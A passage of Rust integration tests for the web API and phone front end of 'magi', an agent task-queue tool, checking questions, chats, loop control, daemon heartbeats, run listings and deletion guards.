let fx = Fixture::start().await;
assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
let listed = fx.get("/api/questions").await.json();
assert_eq!(listed.as_array().expect("array").len(), 1);
assert_eq!(listed[0]["id"], id);
assert_eq!(listed[0]["status"], "open");
assert_eq!(listed[0]["choices"][1], "Redis");
assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
}
#[tokio::test]
async fn answering_records_the_choice_and_a_second_answer_conflicts() {
let fx = Fixture::start().await;
let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
let path = format!("/api/questions/{id}/answer");
let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
assert_eq!(res.status, 200, "{}", res.body);
let body = res.json();
assert_eq!(body["status"], "answered");
assert_eq!(body["answer"]["choice"], "Redis");
let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
assert_eq!(again.status, 409, "{}", again.body);
assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
}
#[tokio::test]
async fn an_answer_the_question_does_not_offer_is_refused() {
let fx = Fixture::start().await;
let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
let path = format!("/api/questions/{id}/answer");
for body in [
r#"{"choice":"Postgres"}"#,
r#"{"text":"whatever you think"}"#,
r#"{"choice":"Redis","text":"both"}"#,
r#"{}"#,
] {
let res = fx.post(&path, Some(body)).await;
assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
assert!(res.json()["error"].is_string(), "{}", res.body);
}
assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
}
#[tokio::test]
async fn a_free_text_question_takes_text_and_not_a_choice() {
let fx = Fixture::start().await;
let id = ask(&fx, "What should the flag be called?", &[]);
let path = format!("/api/questions/{id}/answer");
assert_eq!(
fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
400
);
let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
assert_eq!(res.status, 200, "{}", res.body);
assert_eq!(res.json()["answer"]["text"], "--json");
}
#[tokio::test]
async fn an_unknown_question_is_a_json_404() {
let fx = Fixture::start().await;
let res = fx
.post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
.await;
assert_eq!(res.status, 404, "{}", res.body);
assert!(res.json()["error"].is_string());
}
fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
.expect("checkout dir");
}
#[tokio::test]
async fn repos_list_returns_name_and_path_for_every_configured_root() {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
std::fs::create_dir_all(&repo).expect("repo dir");
let root = tmp.path().join("root");
make_checkout(&root, "github.com", "yukimemi", "magi");
std::fs::write(
repo.join("magi.toml"),
format!(
"[repos]\nroots = [{:?}]\n",
root.to_string_lossy().into_owned()
),
)
.expect("write magi.toml");
let f = Fixture::with_repo(repo).await;
let res = f.get("/api/repos").await;
assert_eq!(res.status, 200, "{}", res.body);
let list = res.json();
let repos = list.as_array().expect("an array");
assert_eq!(repos.len(), 1);
assert_eq!(repos[0]["name"], "yukimemi/magi");
assert!(
repos[0]["path"]
.as_str()
.is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
"{list}"
);
}
#[tokio::test]
async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
std::fs::create_dir_all(&repo).expect("repo dir");
let root = tmp.path().join("root");
make_checkout(&root, "github.com", "yukimemi", "magi");
std::fs::write(
repo.join("magi.toml"),
format!(
"[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
root.to_string_lossy().into_owned()
),
)
.expect("write magi.toml");
let f = Fixture::with_repo(repo).await;
let first = f.get("/api/repos").await;
assert_eq!(first.json().as_array().map(Vec::len), Some(1));
make_checkout(&root, "github.com", "yukimemi", "rvpm");
let second = f.get("/api/repos").await;
assert_eq!(
second.json().as_array().map(Vec::len),
Some(1),
"a fresh cache must not rescan inside the TTL"
);
let refreshed = f.get("/api/repos?refresh=1").await;
assert_eq!(
refreshed.json().as_array().map(Vec::len),
Some(2),
"an explicit refresh must rescan even inside the TTL"
);
}
#[tokio::test]
async fn posting_a_chat_with_an_unknown_from_names_the_id_in_a_4xx() {
let f = Fixture::start().await;
let res = f
.post(
"/api/chats",
Some(r#"{"idea":"same idea, another repo","from":"nosuchchat"}"#),
)
.await;
assert!(res.status >= 400 && res.status < 500, "{}", res.status);
assert!(
res.json()["error"]
.as_str()
.is_some_and(|e| e.contains("nosuchchat")),
"the error names the id that does not exist: {}",
res.body
);
assert!(
f.chats().list().is_empty(),
"a chat must not be created against an unresolvable `from`"
);
}
const MOCK_AGENT_TOML: &str = "[roles]\nplanner = \"mock\"\n\n[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
#[tokio::test]
async fn a_posted_chat_takes_the_given_repo_and_otherwise_keeps_the_servers_own() {
let tmp = TempDir::new().expect("tempdir");
let repo = tmp.path().join("repo");
let other = tmp.path().join("other");
std::fs::create_dir_all(&repo).expect("repo dir");
std::fs::create_dir_all(&other).expect("other repo dir");
std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
std::fs::write(other.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
let f = Fixture::with_repo(repo.clone()).await;
let default_res = f
.post("/api/chats", Some(r#"{"idea":"rework the config loader"}"#))
.await;
assert_eq!(default_res.status, 201, "{}", default_res.body);
assert_eq!(
default_res.json()["repo"],
repo.canonicalize().unwrap().display().to_string(),
"omitting `repo` must keep the server's own"
);
let body = format!(
r#"{{"idea":"rework the config loader","repo":{:?}}}"#,
other.to_string_lossy()
);
let explicit_res = f.post("/api/chats", Some(&body)).await;
assert_eq!(explicit_res.status, 201, "{}", explicit_res.body);
assert_eq!(
explicit_res.json()["repo"],
other.canonicalize().unwrap().display().to_string(),
"an explicit `repo` must override the server's own"
);
}
#[tokio::test]
async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
let f = Fixture::start().await;
let queue = f.queue();
let mut task = Task::new(
"spent".to_owned(),
"Try again".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
task.start("20260902-140502-bbbb".to_owned());
task.fail("agent gave up", 9);
queue.put(&mut task).expect("file the task");
let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
assert_eq!(held.status, 200);
assert_eq!(held.json()["status_str"], "held");
let released = f
.post(&format!("/api/queue/{}/release", task.id), None)
.await;
assert_eq!(released.status, 200);
assert_eq!(released.json()["status_str"], "queued");
assert_eq!(
released.json()["attempts"],
0,
"release is a real second chance, not an instant re-hold"
);
assert_eq!(
queue.get(&task.id).expect("reload").status,
TaskStatus::Queued,
"the change is on disk, not only in the reply"
);
assert!(
!f.home
.path()
.join("queue")
.join(format!("{}.lock", task.id))
.exists(),
"the claim the mutation took is released again"
);
}
#[tokio::test]
async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
let f = Fixture::start().await;
let queue = f.queue();
let mut task = Task::new(
"busy".to_owned(),
"Running right now".to_owned(),
PathBuf::from("/repo/magi"),
Source::Human,
);
queue.put(&mut task).expect("file the task");
let _claim = queue.claim(&task.id).expect("stand in for the daemon");
let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
assert_eq!(res.status, 409);
assert_eq!(
queue.get(&task.id).expect("reload").status,
TaskStatus::Queued,
"the refused hold changed nothing"
);
}
#[tokio::test]
async fn unknown_ids_are_json_not_found_on_both_stores() {
let f = Fixture::start().await;
let run = f.get("/api/runs/nosuchrun").await;
let task = f.post("/api/queue/nosuchtask/hold", None).await;
assert_eq!(run.status, 404);
assert_eq!(task.status, 404);
assert!(
run.json()["error"]
.as_str()
.is_some_and(|e| e.contains("run")),
"the error names what was not found: {}",
run.body
);
assert!(
task.json()["error"]
.as_str()
.is_some_and(|e| e.contains("task")),
"the error names what was not found: {}",
task.body
);
}
#[tokio::test]
async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
let f = Fixture::start().await;
let missing = f.get("/api/health").await.json();
assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
write_daemon(
f.home.path(),
Timestamp::now() - jiff::SignedDuration::from_secs(60),
);
let stale = f.get("/api/health").await.json();
assert_eq!(
stale["daemon"]["running"], false,
"a minute without a heartbeat is a dead daemon, not a busy one"
);
assert!(
stale["daemon"]["stale_for_secs"]
.as_i64()
.is_some_and(|s| s >= 55),
"staleness is reported so the UI can say how long: {stale}"
);
write_daemon(f.home.path(), Timestamp::now());
let fresh = f.get("/api/health").await.json();
assert_eq!(fresh["daemon"]["running"], true);
assert_eq!(fresh["daemon"]["idle"], false);
assert_eq!(fresh["daemon"]["pid"], 4242);
assert_eq!(fresh["daemon"]["completed"], 7);
assert_eq!(fresh["daemon"]["current"]["task"], "20260902-140501-aaaa");
assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
}
#[tokio::test]
async fn the_loop_is_not_running_until_something_starts_it() {
let f = Fixture::start().await;
let view = f.get("/api/loop").await.json();
assert_eq!(view["running"], false);
assert_eq!(
view["owned"], false,
"nobody owns a loop that does not exist: {view}"
);
assert_eq!(view["stopping"], false);
assert_eq!(view["last_error"], Value::Null);
assert_eq!(view["daemon"]["running"], false);
assert_eq!(
view["repo"], "/repo/magi",
"the repository a start would use, named before it is started"
);
}
#[tokio::test]
async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
let f = Fixture::start().await;
let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
assert_eq!(res.status, 200, "{}", res.body);
let view = res.json();
assert_eq!(view["running"], true);
assert_eq!(
view["owned"], true,
"the loop the UI started is the UI's own to stop: {view}"
);
assert_eq!(
view["merge"],
Value::Null,
"no override was given, so each repository's own config decides"
);
let health = f.get("/api/health").await.json();
assert_eq!(health["loop"]["running"], true, "{health}");
assert_eq!(health["loop"]["owned"], true, "{health}");
f.post("/api/loop", Some(r#"{"running":false}"#)).await;
}
#[tokio::test]
async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
let f = Fixture::start().await;
let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
assert_eq!(first.status, 200, "{}", first.body);
let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
assert_eq!(
again.status, 409,
"two loops on one queue race for the same claims: {}",
again.body
);
assert!(
again.json()["error"]
.as_str()
.is_some_and(|e| e.contains("already running the loop")),
"the refusal has to say why: {}",
again.body
);
assert_eq!(
f.get("/api/loop").await.json()["running"],
true,
"and the loop that was already running is untouched by it"
);
f.post("/api/loop", Some(r#"{"running":false}"#)).await;
}
#[tokio::test]
async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
let f = Fixture::start().await;
f.post("/api/loop", Some(r#"{"running":true}"#)).await;
let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
assert_eq!(
res.status, 200,
"the answer must not wait for the loop: a run in flight is tens of \
minutes and the operator is holding a phone: {}",
res.body
);
let view = settled(&f, |v| v["running"] == false).await;
assert_eq!(view["owned"], false);
assert_eq!(
view["stopping"], false,
"a loop that has stopped is not still stopping: {view}"
);
assert_eq!(
view["last_error"],
Value::Null,
"a loop that was asked to stop did not fail: {view}"
);
let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
assert_eq!(twice.status, 200, "{}", twice.body);
}
#[tokio::test]
async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
let f = Fixture::start().await;
write_daemon(f.home.path(), Timestamp::now());
let view = f.get("/api/loop").await.json();
assert_eq!(view["running"], false, "not in this process: {view}");
assert_eq!(view["owned"], false, "and not this process's to control");
assert_eq!(
view["daemon"]["running"], true,
"but a loop is alive somewhere, which is what the UI must say"
);
assert_eq!(view["daemon"]["pid"], 4242);
for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
let res = f.post("/api/loop", Some(body)).await;
assert_eq!(
res.status, 409,
"neither button may pretend to work on someone else's loop: {}",
res.body
);
assert!(
res.json()["error"]
.as_str()
.is_some_and(|e| e.contains("4242")),
"the refusal has to name the process the operator must go to: {}",
res.body
);
}
assert_eq!(
f.get("/api/loop").await.json()["running"],
false,
"and the refusal started nothing"
);
}
#[tokio::test]
async fn a_stale_status_file_is_not_a_foreign_owner() {
let f = Fixture::start().await;
write_daemon(
f.home.path(),
Timestamp::now() - jiff::SignedDuration::from_secs(60),
);
let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
assert_eq!(
res.status, 200,
"a daemon killed a minute ago must not lock the loop out of its \
own home for good: {}",
res.body
);
assert_eq!(res.json()["running"], true);
f.post("/api/loop", Some(r#"{"running":false}"#)).await;
}
#[tokio::test]
async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
let f = Fixture::start().await;
let before = f.get("/api/health").await.json()["loop_rev"]
.as_u64()
.expect("a loop revision");
f.post("/api/loop", Some(r#"{"running":true}"#)).await;
let after = f.get("/api/health").await.json()["loop_rev"]
.as_u64()
.expect("a loop revision");
assert!(
after > before,
"the loop is in-process state, so this counter is the only thing \
that tells a second device the first one started it: {before} -> \
{after}"
);
f.post("/api/loop", Some(r#"{"running":false}"#)).await;
}
#[tokio::test]
async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
let f = Fixture::with_loop(launch_broken).await;
let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
assert_eq!(
res.status, 200,
"starting it is not the failure: {}",
res.body
);
let view = settled(&f, |v| v["last_error"].is_string()).await;
assert_eq!(
view["running"], false,
"a loop that died must not read as running, or the operator has \
nothing to press: {view}"
);
assert_eq!(view["owned"], false);
assert!(
view["last_error"]
.as_str()
.is_some_and(|e| e.contains("read-only file system")),
"the phone is where a loop that died at 3am is visible: {view}"
);
let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
assert_eq!(again.status, 200, "{}", again.body);
assert_eq!(
again.json()["last_error"],
Value::Null,
"a fresh start does not keep showing why the last one died"
);
}
#[tokio::test]
async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
let home = TempDir::new().expect("temp home");
let runs = home.path().join("runs");
std::fs::create_dir_all(&runs).expect("runs dir");
let ui = Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
Chats::at(home.path().join("chats")),
runs,
home.path().to_path_buf(),
PathBuf::from("/repo/magi"),
)
.with_launch(launch_knocking_on_the_way_out);
let looping = ui.looping();
let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
.await
.expect("bind loopback");
let addr = listener.local_addr().expect("local addr");
*PARK_KNOCK.lock().expect("park knock") = Some(addr);
let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
assert_eq!(started.status, 200, "the loop starts: {}", started.body);
let bound = std::sync::Mutex::new(None);
hand_over(&looping, served, || {
let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
*bound.lock().expect("bound") = Some(attempt);
Ok(())
})
.await
.expect("hand over");
assert_eq!(
*PARK_HEARD.lock().expect("park heard"),
Some(200),
"the deck must answer while the loop is parking"
);
let attempt = bound
.lock()
.expect("bound")
.take()
.expect("the successor was started");
assert!(
attempt.is_ok(),
"and the address must be free by the time it is: {attempt:?}"
);
}
#[tokio::test]
async fn a_newer_daemon_status_file_still_renders() {
let f = Fixture::start().await;
std::fs::write(
f.home.path().join("daemon.json"),
serde_json::json!({
"schema": 2,
"updated_at": Timestamp::now().to_string(),
"idle": true,
"surprise": { "nested": [1, 2, 3] },
})
.to_string(),
)
.expect("write daemon.json");
let health = f.get("/api/health").await;
assert_eq!(health.status, 200);
assert_eq!(health.json()["daemon"]["running"], true);
}
#[tokio::test]
async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
let f = Fixture::start().await;
write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
let broken = f.runs().join("20260902-140502-bad");
std::fs::create_dir_all(&broken).expect("run dir");
std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
let list = f.get("/api/runs").await;
let detail = f.get("/api/runs/20260902-140502-bad").await;
assert_eq!(list.status, 200);
let listed = list.json();
let ids: Vec<&str> = listed
.as_array()
.expect("an array")
.iter()
.map(|r| r["id"].as_str().expect("an id"))
.collect();
assert_eq!(
ids,
vec!["20260902-140501-good"],
"one unreadable run must not cost the operator the whole history"
);
assert_eq!(detail.status, 500);
assert!(
detail.json()["error"]
.as_str()
.is_some_and(|e| e.contains("run.json")),
"the failure names the file to look at: {}",
detail.body
);
let health = f.get("/api/health").await;
assert_eq!(health.json()["runs_unreadable"], 1);
}
#[tokio::test]
async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
let f = Fixture::start().await;
write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
let summary = f.get("/api/runs").await.json();
let row = &summary[0];
assert_eq!(row["short"], "a1b2");
assert_eq!(row["status"], "ready");
assert_eq!(row["done"], true);
assert_eq!(row["title"], "Add a web UI");
assert_eq!(row["repo_name"], "magi");
assert_eq!(row["judges"], 3);
assert_eq!(row["winner"], Value::Null);
assert_eq!(row["reviews"], 0);
let detail = f.get("/api/runs/a1b2").await;
assert_eq!(detail.status, 200);
assert_eq!(detail.json()["base_branch"], "main");
assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
}
#[tokio::test]
async fn the_run_list_is_newest_first_and_honours_a_limit() {
let f = Fixture::start().await;
for id in [
"20260902-140501-aaaa",
"20260902-140502-bbbb",
"20260902-140503-cccc",
] {
write_run(&f.runs(), id, RunStatus::Merged);
}
let all = f.get("/api/runs").await.json();
let capped = f.get("/api/runs?limit=2").await.json();
assert_eq!(all[0]["id"], "20260902-140503-cccc");
assert_eq!(all.as_array().map(Vec::len), Some(3));
assert_eq!(capped.as_array().map(Vec::len), Some(2));
assert_eq!(capped[0]["id"], "20260902-140503-cccc");
}
#[tokio::test]
async fn the_report_route_serves_the_terminal_report_as_plain_text() {
let f = Fixture::start().await;
write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
assert_eq!(res.status, 200);
assert!(
res.headers
.contains("content-type: text/plain; charset=utf-8"),
"a browser must render it, not download it: {}",
res.headers
);
assert!(
res.body.contains("20260902-140501-a1b2"),
"the report is about the run that was asked for: {}",
res.body
);
}
#[tokio::test]
async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
let f = Fixture::start().await;
let html = f.get("/").await;
let css = f.get("/app.css").await;
let js = f.get("/app.js").await;
assert_eq!((html.status, css.status, js.status), (200, 200, 200));
assert!(
html.headers
.contains("content-type: text/html; charset=utf-8")
);
assert!(css.headers.contains("content-type: text/css"));
assert!(js.headers.contains("content-type: text/javascript"));
assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
}
#[tokio::test]
async fn the_change_stream_announces_the_current_revisions_on_connect() {
let f = Fixture::start().await;
let mut socket = tokio::net::TcpStream::connect(f.addr)
.await
.expect("connect");
socket
.write_all(
b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
)
.await
.expect("write request");
let mut seen = String::new();
let mut buf = [0u8; 1024];
while !seen.contains("event: change") {
let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
.await
.expect("the stream must speak within five seconds")
.expect("read");
assert!(read > 0, "the server closed the change stream: {seen}");
seen.push_str(&String::from_utf8_lossy(&buf[..read]));
}
assert!(
seen.to_lowercase()
.contains("content-type: text/event-stream"),
"the browser only reconnects automatically for a real SSE stream: {seen}"
);
let data = seen
.lines()
.find_map(|l| l.strip_prefix("data:"))
.expect("a data line");
let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
assert!(
payload["queue_rev"].is_u64()
&& payload["runs_rev"].is_u64()
&& payload["questions_rev"].is_u64()
&& payload["chats_rev"].is_u64()
&& payload["loop_rev"].is_u64(),
"the client needs one revision per store to know what to refetch, \
and `chats_rev` is the only notification a slow interview gets - \
a phone whose radio slept through a turn learns about it here, as \
does one whose operator started the loop from another device: \
{payload}"
);
let health = f.get("/api/health").await.json();
for key in [
"queue_rev",
"runs_rev",
"questions_rev",
"chats_rev",
"loop_rev",
] {
assert!(
health[key].is_u64(),
"health is the change stream's fallback and is missing `{key}`: {health}"
);
}
}
#[test]
fn bind_reads_back_from_the_spelling_the_cli_prints() {
for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
}
assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
assert!("everywhere".parse::<Bind>().is_err());
}
#[test]
fn an_explicit_bind_address_is_taken_verbatim() {
let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
let (addr, warning) = resolve_bind(&Bind::Addr(asked));
assert_eq!(addr, asked);
assert!(
warning.is_none(),
"an operator who named an address gets no lecture"
);
}
#[test]
fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
let (addr, warning) = resolve_bind(&Bind::Auto);
match addr {
IpAddr::V4(ip) if is_tailnet(&ip) => {
assert!(warning.is_none(), "a tailnet address needs no warning");
}
other => {
assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
let warning = warning.expect("a fallback has to explain itself");
assert!(
warning.contains("127.0.0.1") && warning.contains("local-only"),
"the warning says what happened and what it costs: {warning}"
);
}
}
}
#[test]
fn only_the_cgnat_block_counts_as_a_tailnet_address() {
assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
}
#[test]
fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
let ids = vec![
"20260902-140501-aaaa".to_owned(),
"20260902-140502-aabb".to_owned(),
];
let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
assert_eq!(missing.status, StatusCode::NOT_FOUND);
assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
assert_eq!(short, "20260902-140502-aabb");
}
#[tokio::test]
async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
let fx = Fixture::start().await;
let id = panel(
&fx,
"<img src=\"shot.png\">",
&[("shot.png", b"\x89PNG\r\n\x1a\n")],
);
let doc = fx
.get(&format!("/api/questions/{id}/panel/index.html"))
.await;
assert_eq!(doc.status, 200, "{}", doc.body);
assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
assert_eq!(sibling.status, 200, "{}", sibling.body);
assert_eq!(sibling.header("content-type"), Some("image/png"));
assert_eq!(
sibling.header("content-security-policy"),
Some(PANEL_CSP),
"the sibling route must carry the same policy as the asset route"
);
assert_eq!(
fx.head(&format!("/api/questions/{id}/panel")).await.status,
200
);
}
#[test]
fn runs_revision_moves_when_deleting_an_older_run() {
let temp = TempDir::new().expect("tempdir");
let runs = temp.path().join("runs");
std::fs::create_dir_all(&runs).expect("create runs dir");
assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
std::thread::sleep(Duration::from_millis(10));
write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
let rev_before = runs_revision(&runs);
assert!(rev_before > 0);
let old_dir = runs.join("20260901-100000-old1");
std::fs::remove_dir_all(&old_dir).expect("remove old run");
let rev_after = runs_revision(&runs);
assert_ne!(
rev_before, rev_after,
"deleting an older run must change the revision so other clients see the deletion"
);
}
#[tokio::test]
async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
let fx = Fixture::start().await;
let q = fx.queue();
let mut t1 = Task::new(
"Task 1".to_owned(),
"Instruction 1".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
let run_id = "20260901-000000-r111";
t1.runs.push(run_id.to_owned());
write_run(&fx.runs(), run_id, RunStatus::Merged);
q.put(&mut t1).expect("put t1");
let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
assert_eq!(res.status, 204);
assert!(res.body.is_empty(), "204 No Content has no body");
assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
assert!(
fx.runs().join(run_id).exists(),
"run directory must not be deleted when its task is deleted"
);
let mut t2 = Task::new(
"Task 2".to_owned(),
"Instruction 2".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
t2.status = TaskStatus::Running;
q.put(&mut t2).expect("put t2");
let mut beat = crate::daemon::Status::new();
beat.current = Some(crate::daemon::Current {
task: t2.id.clone(),
run: "20260901-000000-r222".to_owned(),
});
beat.updated_at = jiff::Timestamp::now();
crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
.expect("publish a heartbeat");
let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
assert_eq!(res.status, 409);
assert!(
res.json()["error"]
.as_str()
.unwrap()
.contains("live daemon")
);
assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
.expect("leave a stale heartbeat");
let mut t3 = Task::new(
"Task 3".to_owned(),
"Instruction 3".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
t3.status = TaskStatus::Running;
q.put(&mut t3).expect("put t3");
std::mem::forget(q.claim(&t3.id).expect("claim t3"));
let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
assert_eq!(res.status, 204);
assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
assert!(
q.claim(&t3.id).is_ok(),
"the stale lock went with it, so the id is claimable again"
);
let res = fx.delete("/api/queue/nonexistent").await;
assert_eq!(res.status, 404);
}
#[tokio::test]
async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
let fx = Fixture::start().await;
let runs = fx.runs();
let run_id = "20260901-000000-fold";
let mut state = RunState::new(
PathBuf::from("/repo"),
"main".to_owned(),
"abc".to_owned(),
"instruction".to_owned(),
Config::default(),
);
state.id = run_id.to_owned();
state.status = RunStatus::Merged;
state.candidates.push(crate::run::Candidate {
index: 0,
label: 'A',
agent: "a".to_owned(),
branch: "b".to_owned(),
worktree: PathBuf::from("/w"),
summary: String::new(),
stat: String::new(),
files: 1,
commits: 1,
empty: false,
failed: None,
duration_ms: 0,
folded: true,
});
let dir = runs.join(run_id);
std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
.expect("write artifact");
std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
.expect("write run.json");
let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
assert_eq!(res.status, 204);
assert!(res.body.is_empty(), "204 has no body");
assert!(!dir.exists(), "run directory and artifacts must be deleted");
let run_running = "20260901-000000-rung";
write_run(&runs, run_running, RunStatus::Prep);
let mut beat = crate::daemon::Status::new();
beat.current = Some(crate::daemon::Current {
task: "20260901-000000-task".to_owned(),
run: run_running.to_owned(),
});
beat.updated_at = jiff::Timestamp::now();
crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
.expect("publish a heartbeat");
let res = fx.delete(&format!("/api/runs/{run_running}")).await;
assert_eq!(res.status, 409);
assert!(
res.json()["error"]
.as_str()
.unwrap()
.contains("live daemon"),
"the refusal must say who is holding it"
);
assert!(
runs.join(run_running).exists(),
"a run in flight keeps its directory"
);
let run_unfolded = "20260901-000000-unfd";
let mut state2 = RunState::new(
PathBuf::from("/repo"),
"main".to_owned(),
"abc".to_owned(),
"instruction".to_owned(),
Config::default(),
);
state2.id = run_unfolded.to_owned();
state2.status = RunStatus::Ready;
state2.candidates.push(crate::run::Candidate {
index: 0,
label: 'A',
agent: "a".to_owned(),
branch: "b".to_owned(),
worktree: PathBuf::from("/w"),
summary: String::new(),
stat: String::new(),
files: 1,
commits: 1,
empty: false,
failed: None,
duration_ms: 0,
folded: false,
});
let dir2 = runs.join(run_unfolded);
std::fs::create_dir_all(&dir2).expect("create dir2");
std::fs::write(
dir2.join("run.json"),
serde_json::to_string(&state2).unwrap(),
)
.expect("write run.json");
let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
assert_eq!(res.status, 409);
assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
assert!(dir2.exists(), "unfolded run directory is kept");
let res = fx.delete("/api/runs/nonexistent").await;
assert_eq!(res.status, 404);
}
#[test]
fn web_ui_delete_contract_in_front_end() {
assert!(APP_JS.contains("deleteRun:"));
assert!(APP_JS.contains("deleteTask:"));
let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
..APP_JS.find("function renderRuns").unwrap()];
assert!(!run_cards_slice.to_lowercase().contains("delete"));
assert!(APP_JS.contains("renderRunDelete"));
assert!(APP_JS.contains("runDeleteReason"));
assert!(APP_JS.contains("magi fold"));
assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
assert!(APP_JS.contains("cancel.focus"));
assert!(APP_JS.contains("armedRunDelete"));
assert!(APP_JS.contains("armedDelete"));
assert!(APP_JS.contains("disabled: status === \"running\""));
}
#[test]
fn every_ref_a_run_card_uses_is_one_its_builder_published() {
